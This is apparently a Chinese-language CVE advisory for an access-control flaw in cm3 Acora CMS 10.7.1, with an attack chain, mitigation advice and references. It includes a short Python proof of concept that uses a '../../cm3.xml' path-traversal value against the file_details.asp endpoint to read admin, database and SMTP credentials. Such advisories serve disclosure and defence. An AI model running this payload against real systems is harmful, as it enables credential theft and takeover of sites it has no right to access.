CVE-2026-29597 CVSS 6.5 中危

CVE-2026-29597 cm3 Acora CMS访问控制漏洞

披露日期: 2026-03-30

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-29597

漏洞类型

访问控制失效

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

DDSN Interactive cm3 Acora CMS

漏洞概述

DDSN Interactive cm3 Acora CMS 10.7.1版本存在不当访问控制漏洞。具有编辑权限的攻击者可以通过强制浏览“/Admin/file_manager/file_details.asp”端点并操纵“file”参数，访问敏感配置文件（如cm3.xml）。该漏洞可能导致系统管理员凭据、SMTP设置和数据库凭据等敏感信息泄露，进而使攻击者获得CMS完全管理权限、未授权访问邮件服务、攻陷后端数据库，并在网络内进行横向移动，对系统及其关联基础设施造成严重安全威胁。

技术细节

该漏洞的根源在于系统对敏感文件端点的访问控制验证机制存在缺陷。具体而言，在cm3 Acora CMS的文件管理功能中，`/Admin/file_manager/file_details.asp`接口未严格校验用户请求的文件路径参数`file`。虽然攻击者仅拥有编辑权限，但系统未能限制其对系统级配置文件的访问。攻击者可以通过修改HTTP请求中的`file`参数值，利用目录遍历或直接文件引用技术，定位并读取位于服务器敏感目录下的`cm3.xml`文件。该配置文件通常以明文或弱加密形式存储了应用程序的核心凭据，包括数据库连接字符串、SMTP服务器认证信息以及管理员账户密码。一旦获取这些凭据，攻击者即可绕过原有的权限限制，直接接管管理员账户，实现权限提升，并进一步利用这些凭据入侵后端数据库或邮件服务，造成更广泛的系统沦陷。

攻击链分析

STEP 1

1. 初始访问

攻击者获取低权限（编辑者）账户的访问权限。

STEP 2

2. 漏洞利用

攻击者向/Admin/file_manager/file_details.asp发送请求，通过修改file参数指向cm3.xml。

STEP 3

3. 信息泄露

服务器响应返回包含管理员凭据、数据库密码等敏感信息的配置文件内容。

STEP 4

4. 权限提升

攻击者利用泄露的管理员凭据登录系统，获得完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

target_url = "http://example.com/Admin/file_manager/file_details.asp"
# Vulnerable parameter 'file' used to read sensitive config
params = {
    "file": "../../cm3.xml" 
}

# Attacker needs a valid session (Editor privileges)
cookies = {
    "SessionID": "valid_editor_session_id"
}

response = requests.get(target_url, params=params, cookies=cookies)

if response.status_code == 200 and "admin" in response.text:
    print("[+] Vulnerability Exploited Successfully!")
    print("[+] Sensitive Data Found:")
    print(response.text)
else:
    print("[-] Exploit Failed or Patched")

影响范围

DDSN Interactive cm3 Acora CMS 10.7.1

防御指南

临时缓解措施

建议立即限制低权限用户对文件管理端点的访问权限，并在服务器端对“file”参数进行严格的路径校验，禁止访问系统敏感目录。同时，应确保配置文件（如cm3.xml）存储的敏感信息经过加密处理，且不包含明文凭据，直到官方补丁发布。

参考链接

1 CVE https://www.cve.org/CVERecord?id=CVE-2026-29597
2 NVD https://nvd.nist.gov/vuln/detail/CVE-2026-29597
3 Details https://www.cvedetails.com/cve/CVE-2026-29597/
4 VulDB https://vuldb.com/cve/CVE-2026-29597
5 Link http://acora.com
6 Link http://ddsn.com
7 Link https://github.com/padayali-JD/CVE-2026-29597

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表